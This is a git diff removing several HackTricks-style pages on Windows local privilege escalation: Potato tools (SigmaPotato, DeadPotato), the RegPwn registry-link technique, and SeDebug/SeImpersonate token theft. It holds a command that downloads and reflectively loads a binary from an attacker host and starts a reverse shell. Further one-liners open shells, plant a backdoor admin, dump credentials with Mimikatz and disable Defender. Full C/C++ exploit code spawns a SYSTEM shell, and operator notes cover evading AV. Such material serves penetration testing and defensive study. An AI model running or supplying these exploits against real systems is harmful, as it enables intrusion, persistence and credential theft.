-### SigmaPotato (updated GodPotato fork)
-
-SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
-
-```powershell
-# Load and execute from memory (no disk touch)
-[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
-[SigmaPotato]::Main("cmd /c whoami")
-
-# Or ask it to spawn a PS reverse shell
-[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
-```
-
-Additional perks in 2024–2025 builds (v1.2.x):
-- Built-in reverse shell flag `--revshell` and removal of the 1024-char PowerShell limit so you can fire long AMSI-bypassing payloads in one go.
-- Reflection-friendly syntax (`[SigmaPotato]::Main()`), plus a rudimentary AV evasion trick via `VirtualAllocExNuma()` to throw off simple heuristics.
-- Separate `SigmaPotatoCore.exe` compiled against .NET 2.0 for PowerShell Core environments.
-
-### DeadPotato (2024 GodPotato rework with modules)
-
-DeadPotato keeps the GodPotato OXID/DCOM impersonation chain but bakes in post-exploitation helpers so operators can immediately take SYSTEM and perform persistence/collection without additional tooling.
-
-Common modules (all require SeImpersonatePrivilege):
-
-- `-cmd "<cmd>"` — spawn arbitrary command as SYSTEM.
-- `-rev <ip:port>` — quick reverse shell.
-- `-newadmin user:pass` — create a local admin for persistence.
-- `-mimi sam|lsa|all` — drop and run Mimikatz to dump credentials (touches disk, noisy).
-- `-sharphound` — run SharpHound collection as SYSTEM.
-- `-defender off` — flip Defender real-time protection (very noisy).
-
-Example one-liners:
-
-```cmd
-# Blind reverse shell
-DeadPotato.exe -rev 10.10.14.7:4444
-
-# Drop an admin for later login
-DeadPotato.exe -newadmin pwned:P@ssw0rd!
-
-# Run SharpHound immediately after priv-esc
-DeadPotato.exe -sharphound
-```
-
-Because it ships extra binaries, expect higher AV/EDR flags; use the slimmer GodPotato/SigmaPotato when stealth matters.
-
-## References
-
-- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
-- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
-- [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)
-- [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
-- [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
-- [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
-- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
-- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
-- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
-- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
-- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
-- [HTB: Job — LibreOffice macro → IIS webshell → GodPotato to SYSTEM](https://0xdf.gitlab.io/2026/01/26/htb-job.html)
-- [BeichenDream/PrintNotifyPotato](https://github.com/BeichenDream/PrintNotifyPotato)
-- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
-- [DeadPotato – GodPotato rework with built-in post-ex modules](https://github.com/lypd0/DeadPotato)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn.md b/src/windows-hardening/windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn.md
deleted file mode 100644
index bddf080a139..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn.md
+++ /dev/null
@@ -1,83 +0,0 @@
-# Secure Desktop Accessibility Registry Propagation LPE (RegPwn)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Windows Accessibility features persist user configuration under HKCU and propagate it into per-session HKLM locations. During a **Secure Desktop** transition (lock screen or UAC prompt), **SYSTEM** components re-copy these values. If the **per-session HKLM key is writable by the user**, it becomes a privileged write choke point that can be redirected with **registry symbolic links**, yielding an **arbitrary SYSTEM registry write**.
-
-The RegPwn technique abuses that propagation chain with a small race window stabilized via an **opportunistic lock (oplock)** on a file used by `osk.exe`.
-
-## Registry Propagation Chain (Accessibility -> Secure Desktop)
-
-Example feature: **On-Screen Keyboard** (`osk`). The relevant locations are:
-
-- **System-wide feature list**:
-  - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs`
-- **Per-user configuration (user-writable)**:
-  - `HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk`
-- **Per-session HKLM config (created by `winlogon.exe`, user-writable)**:
-  - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\osk`
-- **Secure desktop/default user hive (SYSTEM context)**:
-  - `HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk`
-
-Propagation during a secure desktop transition (simplified):
-
-1. **User `atbroker.exe`** copies `HKCU\...\ATConfig\osk` to `HKLM\...\Session<session id>\ATConfig\osk`.
-2. **SYSTEM `atbroker.exe`** copies `HKLM\...\Session<session id>\ATConfig\osk` to `HKU\.DEFAULT\...\ATConfig\osk`.
-3. **SYSTEM `osk.exe`** copies `HKU\.DEFAULT\...\ATConfig\osk` back to `HKLM\...\Session<session id>\ATConfig\osk`.
-
-If the session HKLM subtree is writable by the user, step 2/3 provide a SYSTEM write through a location the user can replace.
-
-## Primitive: Arbitrary SYSTEM Registry Write via Registry Links
-
-Replace the user-writable per-session key with a **registry symbolic link** that points to an attacker-chosen destination. When the SYSTEM copy occurs, it follows the link and writes attacker-controlled values into the arbitrary target key.
-
-Key idea:
-
-- Victim write target (user-writable):
-  - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\osk`
-- Attacker replaces that key with a **registry link** to any other key.
-- SYSTEM performs the copy and writes into the attacker-chosen key with SYSTEM permissions.
-
-This yields an **arbitrary SYSTEM registry write** primitive.
-
-## Winning the Race Window with Oplocks
-
-There is a short timing window between **SYSTEM `osk.exe`** starting and writing the per-session key. To make it reliable, the exploit places an **oplock** on:
-
-```
-C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml
-```
-
-When the oplock triggers, the attacker swaps the per-session HKLM key for a registry link, lets the SYSTEM write land, then removes the link.
-
-## Example Exploitation Flow (High Level)
-
-1. Get current **session ID** from the access token.
-2. Start a hidden `osk.exe` instance and sleep briefly (ensure the oplock will trigger).
-3. Write attacker-controlled values to:
-   - `HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk`
-4. Set an **oplock** on `C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml`.
-5. Trigger **Secure Desktop** (`LockWorkstation()`), causing SYSTEM `atbroker.exe` / `osk.exe` to start.
-6. On oplock trigger, replace `HKLM\...\Session<session id>\ATConfig\osk` with a **registry link** to an arbitrary target.
-7. Wait briefly for the SYSTEM copy to complete, then remove the link.
-
-## Converting the Primitive to SYSTEM Execution
-
-One straightforward chain is to overwrite a **service configuration** value (e.g., `ImagePath`) and then start the service. The RegPwn PoC overwrites the `ImagePath` of **`msiserver`** and triggers it by instantiating the **MSI COM object**, resulting in **SYSTEM** code execution.
-
-## Related
-
-For other Secure Desktop / UIAccess behaviors, see:
-
-{{#ref}}
-uiaccess-admin-protection-bypass.md
-{{#endref}}
-
-## References
-
-- [RIP RegPwn](https://www.mdsec.co.uk/2026/03/rip-regpwn/)
-- [RegPwn PoC](https://github.com/mdsecactivebreach/RegPwn)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
deleted file mode 100644
index c5f43626ceb..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ /dev/null
@@ -1,289 +0,0 @@
-# SeDebug + SeImpersonate - Copy Token
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This page covers the **manual token-theft** variant where a **High Integrity** context that already has **`SeDebugPrivilege`** and **`SeImpersonatePrivilege`** opens a suitable **SYSTEM** process, **duplicates its token**, and **spawns a new process** with that token.
-
-If you only need a quick `SYSTEM` shell from a privileged admin process, also check:
-
-{{#ref}}
-seimpersonate-from-high-to-system.md
-{{#endref}}
-
-If you do **not** have a process-handle path but you do have **`SeImpersonatePrivilege`**, the **named-pipe / Potato** route is usually easier:
-
-{{#ref}}
-named-pipe-client-impersonation.md
-{{#endref}}
-
-{{#ref}}
-roguepotato-and-printspoofer.md
-{{#endref}}
-
-## Quick triage
-
-Before trying the token-copy path, confirm that the current process is already in a useful context:
-
-```cmd
-whoami /groups | findstr /i "high mandatory"
-whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege"
-```
-
-Notes:
-
-- **`SeDebugPrivilege`** is what lets you open many **non-protected** SYSTEM processes even when their DACL would normally block you.
-- **`SeImpersonatePrivilege`** is what makes **`CreateProcessWithTokenW`** practical afterwards.
-- If the token-copy path only gives you a weak or filtered SYSTEM token, just steal from a **different SYSTEM process**.
-
-## Pick the target process carefully
-
-The technique is usually shown against **`lsass.exe`**, but on modern Windows that is often the **wrong target**:
-
-- If **LSA Protection / RunAsPPL** is enabled, **`lsass.exe`** is protected and a normal admin process with `SeDebugPrivilege` still won't be able to open it.
-- Prefer **non-PPL SYSTEM processes** such as **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** instance.
-- **Protected processes** and some special processes such as **`System`** or **`csrss.exe`** are not realistic user-mode targets for this technique.
-- Use **Process Hacker / Process Explorer** running elevated to verify whether the target token actually has the privileges you want before duplicating it.
-
-## API details that matter in practice
-
-A lot of public PoCs request **`PROCESS_ALL_ACCESS`** and **`TOKEN_ALL_ACCESS`**, but that is noisier than necessary. In practice:
-
-- Open the target process with only the rights you need (commonly **`PROCESS_QUERY_INFORMATION`** or **`PROCESS_QUERY_LIMITED_INFORMATION`**).
-- Open the token with the rights needed for process creation: **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**.
-- Use **`DuplicateTokenEx(..., TokenPrimary, ...)`** to create a **primary token**; an impersonation token alone is not enough to create a new process.
-- If **`CreateProcessWithTokenW`** fails with **`1314`**, switch to **`CreateProcessAsUserW`**.
-- If you launch from a **service / Session 0**, remember that **`CreateProcessWithTokenW`** keeps the child in the **caller's session**. If you need a visible desktop shell, use **`CreateProcessAsUserW`** and move the token to the desired session.
-
-A minimal modern flow looks like:
-
-```c
-HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
-HANDLE hTok = NULL, hDup = NULL;
-OpenProcessToken(hp, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hTok);
-DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
-                 SecurityImpersonation, TokenPrimary, &hDup);
-CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE,
-                        L"C:\\Windows\\System32\\cmd.exe",
-                        NULL, 0, NULL, NULL, &si, &pi);
-```
-
-## Full service PoC
-
-The following code **exploits the privileges `SeDebugPrivilege` and `SeImpersonatePrivilege`** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. In this case, the code can be compiled and used as a **Windows service binary** to verify that the primitive works.
-
-The main part of the **code where the elevation occurs** is inside the **`Exploit`** function. Inside that function you can see that **`lsass.exe`** is searched, its **token is copied**, and finally that token is used to spawn a new **`cmd.exe`** with all the privileges of the copied token.
-
-On modern hosts, you will often want to replace **`lsass.exe`** with another **non-PPL SYSTEM process** such as **`winlogon.exe`**, **`wininit.exe`**, or **`services.exe`**.
-
-Other processes running as SYSTEM with all or most of the token privileges are: **`services.exe`**, **`svchost.exe`** (some of the first ones), **`wininit.exe`**, **`csrss.exe`**... Remember that you generally **won't be able to copy a token from a protected process**.
-
-```c
-// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
-#include <windows.h>
-#include <tlhelp32.h>
-#include <tchar.h>
-#pragma comment (lib, "advapi32")
-
-TCHAR* serviceName = TEXT("TokenDanceSrv");
-SERVICE_STATUS serviceStatus;
-SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
-HANDLE stopServiceEvent = 0;
-
-//This function will find the pid of a process by name
-int FindTarget(const char *procname) {
-
-	HANDLE hProcSnap;
-	PROCESSENTRY32 pe32;
-	int pid = 0;
-
-	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
-	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
-
-	pe32.dwSize = sizeof(PROCESSENTRY32);
-
-	if (!Process32First(hProcSnap, &pe32)) {
-			CloseHandle(hProcSnap);
-			return 0;
-	}
-
-	while (Process32Next(hProcSnap, &pe32)) {
-			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
-					pid = pe32.th32ProcessID;
-					break;
-			}
-		}
-
-	CloseHandle(hProcSnap);
-
-	return pid;
-}
-
-
-int Exploit(void) {
-
-    HANDLE hSystemToken, hSystemProcess;
-	HANDLE dupSystemToken = NULL;
-    HANDLE hProcess, hThread;
-    STARTUPINFOA si;
-    PROCESS_INFORMATION pi;
-	int pid = 0;
-
-
-    ZeroMemory(&si, sizeof(si));
-    si.cb = sizeof(si);
-    ZeroMemory(&pi, sizeof(pi));
-
-	// open high privileged process
-	if ( pid = FindTarget("lsass.exe") )
-		hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
-	else
-		return -1;
-
-	// extract high privileged token
-    if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
-        CloseHandle(hSystemProcess);
-        return -1;
-    }
-
-	// make a copy of a token
-	DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
-
-	// and spawn a new process with higher privs
-    CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
-						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
-
-    return 0;
-}
-
-
-void WINAPI ServiceControlHandler( DWORD controlCode ) {
-	switch ( controlCode ) {
-		case SERVICE_CONTROL_SHUTDOWN:
-		case SERVICE_CONTROL_STOP:
-			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
-			SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-			SetEvent( stopServiceEvent );
-			return;
-
-		case SERVICE_CONTROL_PAUSE:
-			break;
-
-		case SERVICE_CONTROL_CONTINUE:
-			break;
-
-		case SERVICE_CONTROL_INTERROGATE:
-			break;
-
-		default:
-			break;
-	}
-	SetServiceStatus( serviceStatusHandle, &serviceStatus );
-}
-
-void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
-	// initialise service status
-	serviceStatus.dwServiceType = SERVICE_WIN32;
-	serviceStatus.dwCurrentState = SERVICE_STOPPED;
-	serviceStatus.dwControlsAccepted = 0;
-	serviceStatus.dwWin32ExitCode = NO_ERROR;
-	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
-	serviceStatus.dwCheckPoint = 0;
-	serviceStatus.dwWaitHint = 0;
-
-	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
-
-	if ( serviceStatusHandle ) {
-		// service is starting
-		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		// do initialisation here
-		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
-
-		// running
-		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
-		serviceStatus.dwCurrentState = SERVICE_RUNNING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		Exploit();
-		WaitForSingleObject( stopServiceEvent, -1 );
-
-		// service was stopped
-		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		// do cleanup here
-		CloseHandle( stopServiceEvent );
-		stopServiceEvent = 0;
-
-		// service is now stopped
-		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
-		serviceStatus.dwCurrentState = SERVICE_STOPPED;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-	}
-}
-
-
-void InstallService() {
-	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
-
-	if ( serviceControlManager ) {
-		TCHAR path[ _MAX_PATH + 1 ];
-		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
-			SC_HANDLE service = CreateService( serviceControlManager,
-							serviceName, serviceName,
-							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
-							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
-							0, 0, 0, 0, 0 );
-			if ( service )
-				CloseServiceHandle( service );
-		}
-		CloseServiceHandle( serviceControlManager );
-	}
-}
-
-void UninstallService() {
-	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
-
-	if ( serviceControlManager ) {
-		SC_HANDLE service = OpenService( serviceControlManager,
-			serviceName, SERVICE_QUERY_STATUS | DELETE );
-		if ( service ) {
-			SERVICE_STATUS serviceStatus;
-			if ( QueryServiceStatus( service, &serviceStatus ) ) {
-				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
-					DeleteService( service );
-			}
-			CloseServiceHandle( service );
-		}
-		CloseServiceHandle( serviceControlManager );
-	}
-}
-
-int _tmain( int argc, TCHAR* argv[] )
-{
-	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
-		InstallService();
-	}
-	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
-		UninstallService();
-	}
-	else  {
-		SERVICE_TABLE_ENTRY serviceTable[] = {
-			{ serviceName, ServiceMain },
-			{ 0, 0 }
-		};
-
-		StartServiceCtrlDispatcher( serviceTable );
-	}
-
-	return 0;
-}
-```
-
-## References
-
-- [CreateProcessWithTokenW function (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
-- [Configure added LSA protection (Microsoft Learn)](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
deleted file mode 100644
index 5362627ec3a..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ /dev/null
@@ -1,262 +0,0 @@
-# SeImpersonate from High To System
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This page is about the **manual** version of going from a **High Integrity administrator process** to **`NT AUTHORITY\SYSTEM`** by **opening a non-protected SYSTEM process, duplicating its token, and spawning a child process with that token**.
-
-If you only have **`SeImpersonatePrivilege`** / **`SeAssignPrimaryTokenPrivilege`** but **cannot open a suitable SYSTEM process**, the **Potato / named-pipe** path is usually more reliable:
-
-{{#ref}}
-named-pipe-client-impersonation.md
-{{#endref}}
-
-{{#ref}}
-roguepotato-and-printspoofer.md
-{{#endref}}
-
-If what you want is not only `SYSTEM` but a **SYSTEM token with as many privileges as possible**, also check:
-
-{{#ref}}
-sedebug-+-seimpersonate-copy-token.md
-{{#endref}}
-
-## Quick triage
-
-Before trying to steal a token, quickly validate the context:
-
-```cmd
-whoami /groups | findstr /i "high mandatory"
-whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege"
-```
-
-Practical notes:
-
-- A **High Integrity** admin token is usually enough to **enable `SeDebugPrivilege`** and open many non-protected SYSTEM processes.
-- **`CreateProcessWithTokenW` requires `SeImpersonatePrivilege`** on the caller. If that API fails with `1314`, switch to `CreateProcessAsUserW` after you already duplicated a SYSTEM primary token.
-- On modern Windows, **`lsass.exe` is often a bad target** because **LSA protection / PPL** blocks access even for administrators with `SeDebugPrivilege`. Prefer **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** running as SYSTEM.
-- Not every SYSTEM process has an equally useful token. If you get SYSTEM but notice missing privileges, try a different SYSTEM process instead of assuming the technique is broken.
-
-## Pick the PID carefully
-
-The easiest way to make this work reliably is to **choose a SYSTEM process whose DACL actually allows Administrators to query the process and duplicate its token**.
-
-Good candidates to test first:
-
-- `winlogon.exe`
-- `wininit.exe`
-- `services.exe`
-- some early `svchost.exe` instances running as SYSTEM
-
-Avoid by default:
-
-- `lsass.exe` on hosts where **RunAsPPL / LSA protection** is enabled
-- protected / security-sensitive processes that return `Access denied` even after enabling `SeDebugPrivilege`
-
-You can inspect candidate processes and their token/ACLs with **Process Explorer** or **Process Hacker** running elevated.
-
-### Code
-
-The following code from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.\
-Running in a High Integrity process you can **indicate the PID of a process running as System** (like `winlogon`, `wininit`) and execute a `cmd.exe` as SYSTEM.
-
-```cpp
-impersonateuser.exe 1234
-```
-
-```cpp:impersonateuser.cpp
-// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
-
-#include <windows.h>
-#include <iostream>
-#include <Lmcons.h>
-BOOL SetPrivilege(
-	HANDLE hToken,          // access token handle
-	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
-	BOOL bEnablePrivilege   // to enable or disable privilege
-)
-{
-	TOKEN_PRIVILEGES tp;
-	LUID luid;
-	if (!LookupPrivilegeValue(
-		NULL,            // lookup privilege on local system
-		lpszPrivilege,   // privilege to lookup
-		&luid))        // receives LUID of privilege
-	{
-		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
-		return FALSE;
-	}
-	tp.PrivilegeCount = 1;
-	tp.Privileges[0].Luid = luid;
-	if (bEnablePrivilege)
-		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-	else
-		tp.Privileges[0].Attributes = 0;
-	// Enable the privilege or disable all privileges.
-	if (!AdjustTokenPrivileges(
-		hToken,
-		FALSE,
-		&tp,
-		sizeof(TOKEN_PRIVILEGES),
-		(PTOKEN_PRIVILEGES)NULL,
-		(PDWORD)NULL))
-	{
-		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
-		return FALSE;
-	}
-	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
-	{
-		printf("[-] The token does not have the specified privilege. \n");
-		return FALSE;
-	}
-	return TRUE;
-}
-std::string get_username()
-{
-	TCHAR username[UNLEN + 1];
-	DWORD username_len = UNLEN + 1;
-	GetUserName(username, &username_len);
-	std::wstring username_w(username);
-	std::string username_s(username_w.begin(), username_w.end());
-	return username_s;
-}
-int main(int argc, char** argv) {
-	// Print whoami to compare to thread later
-	printf("[+] Current user is: %s\n", (get_username()).c_str());
-	// Grab PID from command line argument
-	char* pid_c = argv[1];
-	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
-	// Initialize variables and structures
-	HANDLE tokenHandle = NULL;
-	HANDLE duplicateTokenHandle = NULL;
-	STARTUPINFO startupInfo;
-	PROCESS_INFORMATION processInformation;
-	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
-	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
-	startupInfo.cb = sizeof(STARTUPINFO);
-	// Add SE debug privilege
-	HANDLE currentTokenHandle = NULL;
-	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
-	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
-	{
-		printf("[+] SeDebugPrivilege enabled!\n");
-	}
-	// Call OpenProcess(), print return code and error code
-	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
-	if (GetLastError() == NULL)
-		printf("[+] OpenProcess() success!\n");
-	else
-	{
-		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
-		printf("[-] OpenProcess() Error: %i\n", GetLastError());
-	}
-	// Call OpenProcessToken(), print return code and error code
-	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
-	if (GetLastError() == NULL)
-		printf("[+] OpenProcessToken() success!\n");
-	else
-	{
-		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
-		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
-	}
-	// Impersonate user in a thread
-	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
-	if (GetLastError() == NULL)
-	{
-		printf("[+] ImpersonatedLoggedOnUser() success!\n");
-		printf("[+] Current user is: %s\n", (get_username()).c_str());
-		printf("[+] Reverting thread to original user context\n");
-		RevertToSelf();
-	}
-	else
-	{
-		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
-		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
-	}
-	// Call DuplicateTokenEx(), print return code and error code
-	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
-	if (GetLastError() == NULL)
-		printf("[+] DuplicateTokenEx() success!\n");
-	else
-	{
-		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
-		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
-	}
-	// Call CreateProcessWithTokenW(), print return code and error code
-	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
-	if (GetLastError() == NULL)
-		printf("[+] Process spawned!\n");
-	else
-	{
-		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
-		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
-	}
-	return 0;
-}
-```
-
-## Useful API / access-right notes
-
-The sample uses `MAXIMUM_ALLOWED`, but for real operations it's useful to remember the minimum pieces involved:
-
-- `OpenProcessToken()` only requires that the **process handle** was opened with **`PROCESS_QUERY_LIMITED_INFORMATION`**.
-- To use `CreateProcessWithTokenW()`, the **primary token handle** must have **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**.
-- `DuplicateTokenEx()` must create a **primary token** (`TokenPrimary`), not only an impersonation token.
-- If you already impersonated SYSTEM and `CreateProcessWithTokenW()` still fails with `1314`, try `CreateProcessAsUserW()` instead.
-
-That means that **opening the target process with `PROCESS_ALL_ACCESS` is usually unnecessary and noisier** than just requesting the rights needed to query the token.
-
-## Error
-
-On some occasions you may try to impersonate System and it won't work showing an output like the following:
-
-```cpp
-[+] OpenProcess() success!
-[+] OpenProcessToken() success!
-[-] ImpersonatedLoggedOnUser() Return Code: 1
-[-] ImpersonatedLoggedOnUser() Error: 5
-[-] DuplicateTokenEx() Return Code: 0
-[-] DupicateTokenEx() Error: 5
-[-] CreateProcessWithTokenW Return Code: 0
-[-] CreateProcessWithTokenW Error: 1326
-```
-
-This means that even if you are running on a High Integrity level **you don't have enough permissions** over that target process/token.\
-Let's check current Administrator permissions over `svchost.exe` processes with **Process Explorer** (or you can also use **Process Hacker**):
-
-1. Select a process of `svchost.exe`
-2. Right Click --> Properties
-3. Inside "Security" Tab click in the bottom right the button "Permissions"
-4. Click on "Advanced"
-5. Select "Administrators" and click on "Edit"
-6. Click on "Show advanced permissions"
-
-![Code - Error: 6. Click on "Show advanced permissions"](<../../images/image (437).png>)
-
-The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges)
-
-See the privileges "Administrators" have over `winlogon.exe`:
-
-![Code - Error: See the privileges "Administrators" have over winlogon.exe](<../../images/image (1102).png>)
-
-Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
-
-### Common failure causes
-
-- **`OpenProcess()` / `OpenProcessToken()` -> `5 (Access denied)`**: the process DACL blocks you, or the target is **protected/PPL**. Pick another SYSTEM process.
-- **`DuplicateTokenEx()` -> `5 (Access denied)`**: your token handle was opened without enough rights, or the target token DACL prevents duplication.
-- **`CreateProcessWithTokenW()` -> `1314`**: the caller doesn't currently have **`SeImpersonatePrivilege`** enabled. Try enabling it first or use `CreateProcessAsUserW()` with the duplicated primary token.
-- **`CreateProcessWithTokenW()` -> `1326`** after previous failures: this often just means the earlier token duplication/impersonation step failed, so there is no usable primary token to launch the child process.
-
-## Operator notes
-
-- This technique is great when you are already **local admin + high integrity** and just want a quick, manual path to SYSTEM without spinning up a service or a named-pipe coercion chain.
-- On hardened Windows 11 / Server environments, **LSA protection is increasingly common**, so a workflow that assumes `lsass.exe` is always readable is brittle. **`winlogon.exe` / `wininit.exe` / `services.exe` are usually better first picks**.
